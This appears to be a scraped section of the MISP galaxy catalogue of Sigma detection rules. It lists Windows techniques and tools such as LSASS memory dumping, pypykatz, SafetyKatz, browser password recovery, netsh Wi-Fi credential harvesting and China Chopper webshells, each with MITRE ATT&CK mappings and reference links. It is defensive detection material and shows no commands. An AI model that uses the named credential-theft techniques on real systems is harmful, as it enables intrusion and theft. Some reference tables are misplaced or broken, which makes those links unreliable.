<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-3---port-scan-nmap-for-windows">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-3---port-scan-nmap-for-windows</a></td>
</tr>
</tbody>
</table>
Unsigned AppX Installation Attempt Using Add-AppxPackage

Detects usage of the "Add-AppxPackage" or it's alias "Add-AppPackage" to install unsigned AppX packages

The tag is: misp-galaxy:sigma-rules="Unsigned AppX Installation Attempt Using Add-AppxPackage"

Table 9803. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/WindowsDocs/status/1620078135080325122">https://twitter.com/WindowsDocs/status/1620078135080325122</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_install_unsigned_appx_packages.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_install_unsigned_appx_packages.yml</a></td>
</tr>
</tbody>
</table>

Esentutl Gather Credentials

Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab.

The tag is: misp-galaxy:sigma-rules="Esentutl Gather Credentials"

View relationships graph

Esentutl Gather Credentials has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 9804. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/vxunderground/status/1423336151860002816">https://twitter.com/vxunderground/status/1423336151860002816</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/software/S0404/">https://attack.mitre.org/software/S0404/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_params.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_params.yml</a></td>
</tr>
</tbody>
</table>
Suspicious Execution of Hostname

Use of hostname to get information

The tag is: `misp-galaxy:sigma-rules="Suspicious Execution of Hostname"`

View relationships graph

Suspicious Execution of Hostname has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"` with estimative-language:likelihood-probability="almost-certain"

Table 9805. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-6---hostname-discovery-windows">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdccdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-6---hostname-discovery-windows</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/hostname">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/hostname</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hostname_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hostname_execution.yml</a></td>
</tr>
</tbody>
</table>

Process Access via TrolleyExpress Exclusion

Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory

The tag is: `misp-galaxy:sigma-rules="Process Access via TrolleyExpress Exclusion"`

View relationships graph

Process Access via TrolleyExpress Exclusion has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9806. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.youtube.com/watch?v=Jye831jF0bb0">https://www.youtube.com/watch?v=Jye831jF0bb0</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/xpn/status/1491557187168178176">https://twitter.com/xpn/status/1491557187168178176</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_citrix_trolleyexpress_procdump.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_citrix_trolleyexpress_procdump.yml</a></td>
</tr>
</tbody>
</table>
**PUA - NSudo Execution**

Detects the use of NSudo tool for command execution

The tag is: `misp-galaxy:sigma-rules="PUA - NSudo Execution"`

View relationships graph

PUA - NSudo Execution has relationships with:


Table 9807. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nsudo.m2team.org/en-us/">https://nsudo.m2team.org/en-us/</a></td>
</tr>
<tr>
<td><a href="https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/">https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nsudo.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nsudo.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious GrpConv Execution**

Detects the suspicious execution of a utility to convert Windows 3.x .grp files or for persistence purposes by malicious software or actors

The tag is: `misp-galaxy:sigma-rules="Suspicious GrpConv Execution"`

View relationships graph

Suspicious GrpConv Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547"` with estimative-language:likelihood-probability="almost-certain"

Table 9808. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/0gtweet/status/1526833181831200770">https://twitter.com/0gtweet/status/1526833181831200770</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_grpconv.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_grpconv.yml</a></td>
</tr>
</tbody>
</table>

**RemoteFXvGPUDisablement Abuse Via AtomicTestHarnesses**

Detects calls to the AtomicTestHarnesses "Invoke-ATHRemoteFXvGPUDisablementCommand" which is designed to abuse the "RemoteFXvGPUDisablement.exe" binary to run custom PowerShell
code via module load-order hijacking.

The tag is: `misp-galaxy:sigma-rules="RemoteFXvGPUDisablement Abuse Via AtomicTestHarnesses"`

View relationships graph

RemoteFXvGPUDisablement Abuse Via AtomicTestHarnesses has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

**Table 9809. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddfdd3742bfcf365fee2a9/atomics/T1218/T1218.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddfdd3742bfcf365fee2a9/atomics/T1218/T1218.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1">https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1</a></td>
</tr>
</tbody>
</table>

**WMI Backdoor Exchange Transport Agent**

Detects a WMI backdoor in Exchange Transport Agents via WMI event filters

The tag is: `misp-galaxy:sigma-rules="WMI Backdoor Exchange Transport Agent"`

View relationships graph

WMI Backdoor Exchange Transport Agent has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003"` with estimative-language:likelihood-probability="almost-certain"

**Table 9810. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/cglyer/status/1182389676876980224">https://twitter.com/cglyer/status/1182389676876980224</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/cglyer/status/1182391019633029120">https://twitter.com/cglyer/status/1182391019633029120</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_wmi_backdoor_exchange_transport_agent.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_wmi_backdoor_exchange_transport_agent.yml</a></td>
</tr>
</tbody>
</table>

**Automated Collection Command Prompt**

Once established within a system or network, an adversary may use automated techniques for collecting internal data.
The tag is: *misp-galaxy:sigma-rules="Automated Collection Command Prompt"*

**View relationships graph**

Automated Collection Command Prompt has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

**Table 9811. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffdd3742bfcf365fee2a9/atomics/T1119/T1119.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffdd3742bfcf365fee2a9/atomics/T1119/T1119.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_automated_collection.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_automated_collection.yml</a></td>
</tr>
</tbody>
</table>

**Renamed Remote Utilities RAT (RURAT) Execution**

Detects execution of renamed Remote Utilities (RURAT) via Product PE header field

The tag is: *misp-galaxy:sigma-rules="Renamed Remote Utilities RAT (RURAT) Execution"*

**Table 9812. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/misbehaving-rats/">https://redcanary.com/blog/misbehaving-rats/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rurat.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rurat.yml</a></td>
</tr>
</tbody>
</table>

**Uncommon Child Process Spawned By Odbcconf.EXE**

Detects an uncommon child process of "odbcconf.exe" binary which normally shouldn't have any child processes.

The tag is: *misp-galaxy:sigma-rules="Uncommon Child Process Spawned By Odbcconf.EXE"*

**View relationships graph**

Uncommon Child Process Spawned By Odbcconf.EXE has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"*
Mavinject Inject DLL Into Running Process

Detests process injection using the signed Windows tool "Mavinject" via the "INJECTRUNNING" flag

The tag is: *misp-galaxy:sigma-rules=*"Mavinject Inject DLL Into Running Process"

View relationships graph

Mavinject Inject DLL Into Running Process has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001"* with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern="Mavinject - T1218.013"* with estimative-language:likelihood-probability="almost-certain"
**AspNetCompiler Execution**

Detects execution of "aspnet_compiler.exe" which can be abused to compile and execute C# code.

The tag is: *misp-galaxy:sigma-rules="AspNetCompiler Execution"*

View relationships graph

AspNetCompiler Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

*Table 9815. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/">https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/</a></td>
</tr>
<tr>
<td><a href="https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/">https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_aspnet_compiler_exectuion.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_aspnet_compiler_exectuion.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Msiexec Quiet Install From Remote Location**

Detects usage of Msiexec.exe to install packages hosted remotely quietly

The tag is: *misp-galaxy:sigma-rules="Suspicious Msiexec Quiet Install From Remote Location"*

View relationships graph

Suspicious Msiexec Quiet Install From Remote Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

*Table 9816. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_remote.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_remote.yml</a></td>
</tr>
</tbody>
</table>

**HackTool - Pypykatz Credentials Dumping Activity**

Detects the usage of "pypykatz" to obtain stored credentials. Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database through Windows registry
where the SAM database is stored

The tag is: `misp-galaxy:sigma-rules="HackTool - Pypykatz Credentials Dumping Activity"`

View relationships graph

HackTool - Pypykatz Credentials Dumping Activity has relationships with:


**Table 9817. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/skelsec/pypykatz">https://github.com/skelsec/pypykatz</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_pypykatz.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_pypykatz.yml</a></td>
</tr>
</tbody>
</table>

**HackTool - CreateMiniDump Execution**

Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker’s machine

The tag is: `misp-galaxy:sigma-rules="HackTool - CreateMiniDump Execution"`

View relationships graph

HackTool - CreateMiniDump Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with `estimative-language:likelihood-probability="almost-certain"`

**Table 9818. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_createminidump.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_createminidump.yml</a></td>
</tr>
</tbody>
</table>

**File Download via CertOC.EXE**

Detects when a user downloads a file by using CertOC.exe

The tag is: `misp-galaxy:sigma-rules="File Download via CertOC.EXE"`
File Download via CertOC.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

**Outlook EnableUnsafeClientMailRules Setting Enabled**

Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros

The tag is: *misp-galaxy:sigma-rules="Outlook EnableUnsafeClientMailRules Setting Enabled"*

**RDP Port Forwarding Rule Added Via Netsh.EXE**

Detects the execution of netsh to configure a port forwarding of port 3389 (RDP) rule

The tag is: *misp-galaxy:sigma-rules="RDP Port Forwarding Rule Added Via Netsh.EXE"*
RDP Port Forwarding Rule Added Via Netsh.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 9821. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_forwarding_3389.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_forwarding_3389.yml</a></td>
</tr>
</tbody>
</table>

PowerShell Get-Clipboard Cmdlet Via CLI

Detects usage of the 'Get-Clipboard' cmdlet via CLI

The tag is: misp-galaxy:sigma-rules="PowerShell Get-Clipboard Cmdlet Via CLI"

PowerShell Get-Clipboard Cmdlet Via CLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

Table 9822. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/OTRF/detection-hackathon-apt29/issues/16">https://github.com/OTRF/detection-hackathon-apt29/issues/16</a></td>
</tr>
<tr>
<td><a href="https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md">https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_get_clipboard.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_get_clipboard.yml</a></td>
</tr>
</tbody>
</table>

Potentially Suspicious Cabinet File Expansion

Detects the expansion or decompression of cabinet files from potentially suspicious or uncommon locations, e.g. seen in Iranian MeteorExpress related attacks

The tag is: misp-galaxy:sigma-rules="Potentially Suspicious Cabinet File Expansion"

Potentially Suspicious Cabinet File Expansion has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9823. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_expand_cabinet_files.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_expand_cabinet_files.yml</a></td>
</tr>
</tbody>
</table>

Use Short Name Path in Command Line

Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection

The tag is: misp-galaxy:sigma-rules="Use Short Name Path in Command Line"

View relationships graph

Use Short Name Path in Command Line has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 9824. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/">https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN">https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/frack113/status/1555830623633375232">https://twitter.com/frack113/status/1555830623633375232</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_cli.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_path_use_cli.yml</a></td>
</tr>
</tbody>
</table>

Chopper Webshell Process Pattern

Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells

The tag is: misp-galaxy:sigma-rules="Chopper Webshell Process Pattern"

View relationships graph

Chopper Webshell Process Pattern has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-
Potential Binary Proxy Execution Via VSDiagnostics.EXE

Detects execution of "VSDiagnostics.exe" with the "start" command in order to launch and proxy arbitrary binaries.

The tag is: *misp-galaxy: sigma-rules="Potential Binary Proxy Execution Via VSDiagnostics.EXE"

View relationships graph

Potential Binary Proxy Execution Via VSDiagnostics.EXE has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Potential Signing Bypass Via Windows Developer Features

Detects when a user enable developer features such as "Developer Mode" or "Application Sideloadig". Which allows the user to install untrusted packages.

The tag is: *misp-galaxy: sigma-rules="Potential Signing Bypass Via Windows Developer Features"

Table 9825. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_webshell_chopper.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_webshell_chopper.yml</a></td>
</tr>
</tbody>
</table>

Table 9826. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/0xBoku/status/1679200664013135872">https://twitter.com/0xBoku/status/1679200664013135872</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vsdiagnostics_execution_proxy.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vsdiagnostics_execution_proxy.yml</a></td>
</tr>
</tbody>
</table>
**Process Memory Dump Via Comsvcs.DLL**

Detects a process memory dump via "comsvcs.dll" using rundll32, covering multiple different techniques (ordinal, minidump function, etc.)

The tag is: `misp-galaxy:sigma-rules= "Process Memory Dump Via Comsvcs.DLL"`

**PUA - WebBrowserPassView Execution**

Detects the execution of WebBrowserPassView.exe. A password recovery tool that reveals the passwords stored by the following Web browsers, Internet Explorer (Version 4.0 - 11.0), Mozilla Firefox (All Versions), Google Chrome, Safari, and Opera

The tag is: `misp-galaxy:sigma-rules= "PUA - WebBrowserPassView Execution"`
### View relationships graph

PUA - WebBrowserPassView Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

**Table 9829. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1555.003/T1555.003.md">https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1555.003/T1555.003.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_webbrowserpassview.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_webbrowserpassview.yml</a></td>
</tr>
</tbody>
</table>

### User Discovery And Export Via Get-ADUser Cmdlet

Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file

The tag is: *misp-galaxy:sigma-rules="User Discovery And Export Via Get-ADUser Cmdlet"*

**View relationships graph**

User Discovery And Export Via Get-ADUser Cmdlet has relationships with:


**Table 9830. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_user_discovery_get_aduser.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_user_discovery_get_aduser.yml</a></td>
</tr>
</tbody>
</table>

### Potential Defense Evasion Via Rename Of Highly Relevant Binaries

Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.

The tag is: *misp-galaxy:sigma-rules="Potential Defense Evasion Via Rename Of Highly Relevant Binaries"*

**View relationships graph**
Potential Defense Evasion Via Rename Of Highly Relevant Binaries has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 9831. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html">https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/christophetd/status/1164506034720952320">https://twitter.com/christophetd/status/1164506034720952320</a></td>
</tr>
<tr>
<td><a href="https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html">https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant.yml</a></td>
</tr>
</tbody>
</table>

**HackTool - SafetyKatz Execution**

Detects the execution of the hacktool SafetyKatz via PE information and default Image name

The tag is: misp-galaxy:sigma-rules="HackTool - SafetyKatz Execution"

View relationships graph

HackTool - SafetyKatz Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 9832. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/GhostPack/SafetyKatz">https://github.com/GhostPack/SafetyKatz</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_safetykatz.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_safetykatz.yml</a></td>
</tr>
</tbody>
</table>

**Harvesting Of Wifi Credentials Via Netsh.EXE**

Detect the harvesting of wifi credentials using netsh.exe

The tag is: misp-galaxy:sigma-rules="Harvesting Of Wifi Credentials Via Netsh.EXE"

View relationships graph

Harvesting Of Wifi Credentials Via Netsh.EXE has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

Table 9833. Table References

Links

- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_wifi_credential_harvesting.yml

PUA - Advanced IP Scanner Execution

Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.

The tag is: misp-galaxy:sigma-rules="PUA - Advanced IP Scanner Execution"

View relationships graph

PUA - Advanced IP Scanner Execution has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
• related-to: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

Table 9834. Table References

Links

- https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer
- https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20IP%20Scanner
- https://labs.f-secure.com/blog/prelude-to-ransomware-systembc
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_advanced_ip_scanner.yml

IIS Native-Code Module Command Line Installation

Detects suspicious IIS native-code module installations via command line

The tag is: misp-galaxy:sigma-rules="IIS Native-Code Module Command Line Installation"
IIS Native-Code Module Command Line Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

**Table 9835. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_susp_module_install.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_susp_module_install.yml</a></td>
</tr>
</tbody>
</table>

**WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript**

Detects script file execution (.js, .jse, .vba, .vbe, .vbs, .wsf) by Wscript/Cscript

The tag is: `misp-galaxy:sigma-rules="WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript"`

**Potentially Suspicious Rundll32 Activity**

Detects suspicious execution of rundll32, with specific calls to some DLLs with known LOLBIN functionalities

The tag is: `misp-galaxy:sigma-rules="Potentially Suspicious Rundll32 Activity"`

**Table 9836. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
• related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

**Suspicious SYSVOL Domain Group Policy Access**

Detects Access to Domain Group Policies stored in SYSVOL

The tag is: `misp-galaxy:sigma-rules="Suspicious SYSVOL Domain Group Policy Access"`

View relationships graph

Suspicious SYSVOL Domain Group Policy Access has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"

**Exports Critical Registry Keys To a File**

